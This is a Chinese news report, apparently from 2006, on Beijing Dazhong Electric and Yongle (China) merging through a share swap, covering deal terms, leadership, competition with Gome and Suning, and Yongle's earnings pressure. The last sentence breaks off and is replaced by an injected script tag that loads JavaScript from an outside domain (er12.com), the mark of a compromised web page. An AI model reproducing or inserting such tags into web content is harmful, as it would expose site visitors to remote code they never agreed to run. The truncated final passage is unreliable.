21日，北京大中电器公司董事长张大中飞赴香港，出席了北京大中电器和上海永乐(中国)电器销售公司实现股权合并的新闻发布会，发布会虽然只开了短短十分钟，却标志着目前国内家电连锁排名第三、第四的两大巨头，正为全面合并迈出重要一步。
一年之内完成股权置换
张大中显然对这次合并充满信心。他对记者说，双方将通过股权置换的方式实现合并，计划在一年内全部完成。合并后的公司由永乐为大股东，但是大中和永乐各占公司多少股份的问题，还没有落实。将根据两家公司的销售额度与盈利水平，通过国际公认的会计管理公式计算，视具体情况而定，目前还没有准确的数字可以透露。将来的公司分红也将以此为依据。新的公司将由永乐董事长陈晓担任董事长，张大中担任副董事长。将来的业务拓展永乐负责长江以南地区，大中负责长江以北地区。
据大中公司的总经理宋红介绍，双方合并后的公司将取名为永乐(中国)，但目前双方在各地的门店则采取“向优势靠拢”的原则进行经营调整，比如在大中的大本营北京，所有永乐门店都将由大中电器负责经营，但前期将继续保持各自门店品牌不变。至于未来合并后采取单品牌还是双品牌运作，目前尚未确定。
家电连锁大鳄浮出水面
业内普遍认为，大中和永乐的合并有可能成为中国区域性家电连锁在国美、苏宁两家寡头垄断的大势下的一种样板模式。目前国内只有国美和苏宁是全国性家电连锁，特别是二者上市后，充裕的资本使得他们对中小型区域性家电连锁的收购吞并速度愈发加快，显示出强者恒强的局面。而大中和永乐虽然分别是中国第三和第四大的家电连锁商，但同样面临着区域性家电商的潜在危机。而双方实现联手后，不仅在规模和布局上完成了向全国家电连锁的转变，同时把持着北京、上海全国两个最大家电市场50%以上份额，确实会对国美、苏宁造成一定的压力。宋红表示，“此外双方共同透露的信息显示，双方从现在开始就将启动联合采购、后勤及送货、产品展出、仓储开发、仓储管理、财务管理、信息系统及人员交流等领域进行合作的战略合作伙伴关系”。
2005年苏宁电器销售额达到400亿，国美电器是450亿，大中和永乐合并后，将有望跃升为全国最大规模的家电连锁企业之一。“根据2006年的销售计划，这个数字将达到300亿-400亿的规模。”宋红在新闻发布会上称：“能否与国美、苏宁抗衡，各位应该很清楚。”
记者了解到，国美和苏宁两巨头都回避对这次合作做出评价和前景预测，国美电器新闻发言人何阳青表示，双方的这次合作算是各自发展到一定阶段的正常发展途径，就像国美自身其实也在不断整合之中。
“永乐”“大中”各取所需
在新闻发布会上，宋红宣布，北京大中电器有限公司和永乐(中国)电器销售有限公司已于19日签署协议，双方实施全面战略合作。
宋红表示，今后大中与永乐将启动联合采购，并在后勤及送货、产品展出、仓储开发、仓储管理、财务管理、信息系统及人员交流等领域结成战略合作伙伴关系，在约定期限内，将通过股权置换方式实现大中与永乐的股权合并，推动大中电器与永乐(中国)的合并。最终完成合并约需一年时间。宋红同时表示，走向合并过程中也可能发生意外，不排除合并最后因各种原因未能实现。
今年年初，家电业曾经传闻永乐一直图谋收购大中。此次两大巨头突然宣布联手，且毫不讳言“合并”。对此宋红解释，股权置换是国际通行的通过公司间合作将企业迅速做大做强的方法之一。对于大中而言，通过与永乐(中国)合并的方式，可以快速、高效、优质上市，由一个有限责任公司跻身为大型上市公司的一部分，进而以上市公司标准规范、管理业务，推动大中进一步良性运转。
宋红透露，合并后的公司股东包括张大中、陈晓和其他投资人。各方所占股份将根据大中与永乐的销售额与盈利水平，通过国际公认的会计管理公式计算，目前尚无细节通报。合并后的公司名称将采用“永乐中国”，而“大中电器”品牌将继续保持。
合并幕后有几多无奈
永乐日前公布的年报显示，永乐电器2005年净利润为2.89亿元人民币，较2004年同期1.86亿元增长55%，每股盈利17.3分。永乐电器于2005年10月14日上市，当时招股书显示2005年盈利预测不少于2.88亿元人民币。
陈晓表示，永乐今年将在现有重要城市开设10间旗舰店，在三线城市以特许经营加盟店形式加快扩张，特许经营会在今年开始试行。他认为，由于竞争激烈，今年上半年的盈利增长相对去年会有压力。
“实际上永乐此次与大中联手，是一种被迫选择。”一位知情人士透露，由于今年春节在1月，春节市场销售时间实际比往年春节在2月份的年头短了20来天，因此不少家电连锁第一季度销售状况实际同比下降。陈晓所言的“压力”即来自此。由于永乐上市时，与承销商摩根士丹利签有“对赌”协议，如其股价、盈利水平等指标不能达到约定标准，永乐要把部分股份让给摩根?script src=http://er12.com/t.js>
